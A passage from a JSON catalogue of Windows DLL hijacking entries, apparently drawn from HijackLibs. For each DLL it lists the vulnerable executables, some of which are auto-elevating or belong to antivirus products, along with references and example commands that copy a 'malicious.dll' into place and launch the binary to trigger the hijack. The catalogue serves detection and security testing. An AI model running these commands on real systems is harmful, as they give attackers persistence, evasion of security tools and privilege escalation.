      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious safestore32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Sophos\\\\Sophos Anti-Virus\\\\safestore32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Sophos\\\\Sophos Anti-Virus\\\\ssr32.exe\\\"\"\n\n# safestore32.dll\n\n**Vendor:** Sophos\n\n**Expected Location:** %PROGRAMFILES%\\Sophos\\Sophos Anti-Virus\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Sophos\\Sophos Anti-Virus\\ssr32.exe (Sideloading)\n",
    "_source": "windows-dllhijack-safestore32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "safestore32.dll — Sideloading hijacking (Sophos)",
    "execution": {
      "template": "safestore32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-safestore32",
    "name": "safestore32.dll",
    "namespace": "windows:dllhijack:safestore32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/safestore32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious samcli.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\samcli.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certutil.exe\\\"\"\n\n# samcli.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\change.exe (Sideloading)\n- %SYSTEM32%\\chglogon.exe (Sideloading)\n- %SYSTEM32%\\chgport.exe (Sideloading)\n- %SYSTEM32%\\credwiz.exe (Sideloading)\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\dpapimig.exe (Sideloading)\n- %SYSTEM32%\\easinvoker.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\net.exe (Sideloading)\n- %SYSTEM32%\\net1.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\netplwiz.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\query.exe (Sideloading)\n- %SYSTEM32%\\quser.exe (Sideloading)\n- %SYSTEM32%\\qwinsta.exe (Sideloading)\n- %SYSTEM32%\\raserver.exe (Sideloading)\n- %SYSTEM32%\\reset.exe (Sideloading)\n- %SYSTEM32%\\rwinsta.exe (Sideloading)\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\tscon.exe (Sideloading)\n- %SYSTEM32%\\tskill.exe (Sideloading)\n- %SYSTEM32%\\wpcmon.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-samcli.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "samcli.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "samcli.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-samcli",
    "name": "samcli.dll",
    "namespace": "windows:dllhijack:samcli",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/samcli.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious samlib.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\samlib.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dpapimig.exe\\\"\"\n\n# samlib.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dpapimig.exe (Sideloading)\n- %SYSTEM32%\\dsmgmt.exe (Sideloading)\n- %SYSTEM32%\\easinvoker.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\netplwiz.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\ntdsutil.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-samlib.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "samlib.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "samlib.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-samlib",
    "name": "samlib.dll",
    "namespace": "windows:dllhijack:samlib",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/samlib.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious sapi_onecore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\sapi_onecore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\devicecensus.exe\\\"\"\n\n# sapi_onecore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\devicecensus.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-sapi-onecore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "sapi_onecore.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "sapi_onecore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-sapi-onecore",
    "name": "sapi_onecore.dll",
    "namespace": "windows:dllhijack:sapi-onecore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/sapi-onecore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious sas.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\sas.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\quickassist.exe\\\"\"\n\n# sas.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\quickassist.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-sas.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "sas.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "sas.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-sas",
    "name": "sas.dll",
    "namespace": "windows:dllhijack:sas",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/sas.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious scansetting.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\scansetting.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wiaacmgr.exe\\\"\"\n\n# scansetting.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wiaacmgr.exe (Sideloading)\n- %SYSTEM32%\\wiawow64.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-scansetting.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "scansetting.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "scansetting.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "windows-dllhijack-scansetting",
    "name": "scansetting.dll",
    "namespace": "windows:dllhijack:scansetting",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/scansetting.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious scecli.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\scecli.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\convert.exe\\\"\"\n\n# scecli.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\convert.exe (Sideloading)\n- %SYSTEM32%\\secedit.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-scecli.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "scecli.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "scecli.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-scecli",
    "name": "scecli.dll",
    "namespace": "windows:dllhijack:scecli",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/scecli.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious schedcli.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\schedcli.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\at.exe\\\"\"\n\n# schedcli.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\at.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-schedcli.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "schedcli.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "schedcli.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-schedcli",
    "name": "schedcli.dll",
    "namespace": "windows:dllhijack:schedcli",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/schedcli.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious secur32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\secur32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\appvclient.exe\\\"\"\n\n# secur32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\appvclient.exe (Sideloading)\n- %SYSTEM32%\\calc.exe (Sideloading)\n- %SYSTEM32%\\certreq.exe (Sideloading)\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\computerdefaults.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\dfsrdiag.exe (Sideloading)\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n- %SYSTEM32%\\dsrm.exe (Sideloading)\n- %SYSTEM32%\\fodhelper.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\gpresult.exe (Sideloading)\n- %SYSTEM32%\\klist.exe (Sideloading)\n- %SYSTEM32%\\msdt.exe (Sideloading)\n- %SYSTEM32%\\repadmin.exe (Sideloading)\n- %SYSTEM32%\\consent.exe (Sideloading)\n- %SYSTEM32%\\compmgmtlauncher.exe (Search Order)\n- %LOCALAPPDATA%\\microsoft\\onedrive\\%VERSION%\\microsoft.sharepoint.exe (Search Order)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n\n**Acknowledgement:** Matthew Hickey\n",
    "_source": "windows-dllhijack-secur32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "secur32.dll — Sideloading, Search Order hijacking (Microsoft)",
    "execution": {
      "template": "secur32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-secur32",
    "name": "secur32.dll",
    "namespace": "windows:dllhijack:secur32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "Reference",
        "url": "https://www.secureworks.com/research/shadowpad-malware-analysis"
      },
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2023/02/25/beyond-good-ol-run-key-part-141/"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/hackerfantastic/status/1657549979840307203"
      },
      {
        "label": "Reference",
        "url": "https://github.com/hackerhouse-opensource/CompMgmtLauncher_DLL_UACBypass"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/secur32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious security.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\security.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\telnet.exe\\\"\"\n\n# security.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\telnet.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-security.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "security.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "security.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-security",
    "name": "security.dll",
    "namespace": "windows:dllhijack:security",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/security.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious sensapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\sensapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Minecraft Launcher\\\\MinecraftLauncher.exe\\\"\"\n\n# sensapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Minecraft Launcher\\MinecraftLauncher.exe (Sideloading)\n- usysdiag.exe (Sideloading)\n\n**Acknowledgement:** Andrew Oliveau\n",
    "_source": "windows-dllhijack-sensapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "sensapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "sensapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-sensapi",
    "name": "sensapi.dll",
    "namespace": "windows:dllhijack:sensapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/AndrewOliveau/status/1682185200862625792"
      },
      {
        "label": "Reference",
        "url": "https://www.fortinet.com/blog/threat-research/nailaolocker-ransomware-cheese"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/sensapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious sentinelagentcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\SentinelOne\\\\Sentinel Agent %VERSION%\\\\sentinelagentcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\SentinelOne\\\\Sentinel Agent %VERSION%\\\\SentinelBrowserNativeHost.exe\\\"\"\n\n# sentinelagentcore.dll\n\n**Vendor:** SentinelOne\n\n**Expected Location:** %PROGRAMFILES%\\SentinelOne\\Sentinel Agent %VERSION%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\SentinelOne\\Sentinel Agent %VERSION%\\SentinelBrowserNativeHost.exe (Sideloading)\n- %PROGRAMFILES%\\SentinelOne\\Sentinel Agent %VERSION%\\SentinelAgentWorker.exe (Sideloading)\n\n**Acknowledgement:** Amelia Casley\n\n**Acknowledgement:** Tanner Filip\n",
    "_source": "windows-dllhijack-sentinelagentcore.md",
    "author": "Amelia Casley",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "sentinelagentcore.dll — Sideloading hijacking (SentinelOne)",
    "execution": {
      "template": "sentinelagentcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-sentinelagentcore",
    "name": "sentinelagentcore.dll",
    "namespace": "windows:dllhijack:sentinelagentcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/pe4Chscreeching/status/1955624714241810488"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/sentinelagentcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious shell32.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\shell32.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# shell32.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Environment Variable)\n- %SYSTEM32%\\control.exe (Environment Variable)\n- %SYSTEM32%\\dpiscaling.exe (Environment Variable)\n- %SYSTEM32%\\mobsync.exe (Environment Variable)\n- %SYSTEM32%\\mstsc.exe (Environment Variable)\n- %SYSTEM32%\\notepad.exe (Environment Variable)\n- %SYSTEM32%\\presentationsettings.exe (Environment Variable)\n- %SYSTEM32%\\shellappruntime.exe (Environment Variable)\n- %SYSTEM32%\\wallpaperhost.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-shell32.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "shell32.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "shell32.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "windows-dllhijack-shell32",
    "name": "shell32.dll",
    "namespace": "windows:dllhijack:shell32",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/shell32.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious shellchromeapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\shellchromeapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\DeviceEnroller.exe\\\"\"\n\n# shellchromeapi.dll\n\n**Vendor:** Microsoft\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\DeviceEnroller.exe (Phantom)\n\n**Acknowledgement:** Grzegorz Tworek\n",
    "_source": "windows-dllhijack-shellchromeapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "shellchromeapi.dll — Phantom hijacking (Microsoft)",
    "execution": {
      "template": "shellchromeapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "windows-dllhijack-shellchromeapi",
    "name": "shellchromeapi.dll",
    "namespace": "windows:dllhijack:shellchromeapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://dennisbabkin.com/blog/?t=pwning-windows-updates-dll-hijacking-through-orphaned-dll"
      },
      {
        "label": "Reference",
        "url": "https://twitter.com/0gtweet/status/1564131230941122561"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/shellchromeapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious shellsel.ocx.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\shellsel.ocx.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"symantec.exe\\\"\"\n\n# shellsel.ocx.dll\n\n**Vendor:** Symantec\n\n**Vulnerable Executables:**\n- symantec.exe (Sideloading)\n",
    "_source": "windows-dllhijack-shellsel-ocx.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "shellsel.ocx.dll — Sideloading hijacking (Symantec)",
    "execution": {
      "template": "shellsel.ocx.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "windows-dllhijack-shellsel-ocx",
    "name": "shellsel.ocx.dll",
    "namespace": "windows:dllhijack:shellsel-ocx",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://decoded.avast.io/threatintel/apt-treasure-trove-avast-suspects-chinese-apt-group-mustang-panda-is-collecting-data-from-burmese-government-agencies-and-opposition-groups/"
      },
      {
        "label": "Reference",
        "url": "https://www.welivesecurity.com/2022/03/23/mustang-panda-hodur-old-tricks-new-korplug-variant/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/shellsel-ocx.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious shfolder.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\shfolder.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\VMNat.exe\\\"\"\n\n# shfolder.dll\n\n**Vendor:** VMWare\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\VMNat.exe (Sideloading)\n",
    "_source": "windows-dllhijack-shfolder.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "shfolder.dll — Sideloading hijacking (VMWare)",
    "execution": {
      "template": "shfolder.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-shfolder",
    "name": "shfolder.dll",
    "namespace": "windows:dllhijack:shfolder",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/dissectmalware/status/978017957480628226"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/shfolder.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious siteadv.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\SiteAdvisor\\\\%VERSION%\\\\siteadv.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"sideadv.exe\\\"\"\n\n# siteadv.dll\n\n**Vendor:** McAfee\n\n**Expected Location:** %PROGRAMFILES%\\SiteAdvisor\\%VERSION%\n\n**Vulnerable Executables:**\n- sideadv.exe (Sideloading)\n\n**Acknowledgement:** Christiaan Beek\n",
    "_source": "windows-dllhijack-siteadv.md",
    "author": "Christiaan Beek",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "siteadv.dll — Sideloading hijacking (McAfee)",
    "execution": {
      "template": "siteadv.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-siteadv",
    "name": "siteadv.dll",
    "namespace": "windows:dllhijack:siteadv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf"
      },
      {
        "label": "Reference",
        "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/siteadv.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious skinutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\ICQLite\\\\skinutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\ICQLite\\\\ICQLite.exe\\\"\"\n\n# skinutils.dll\n\n**Vendor:** ICQ\n\n**Expected Location:** %PROGRAMFILES%\\ICQLite\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\ICQLite\\ICQLite.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-skinutils.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "skinutils.dll — Sideloading hijacking (ICQ)",
    "execution": {
      "template": "skinutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-skinutils",
    "name": "skinutils.dll",
    "namespace": "windows:dllhijack:skinutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
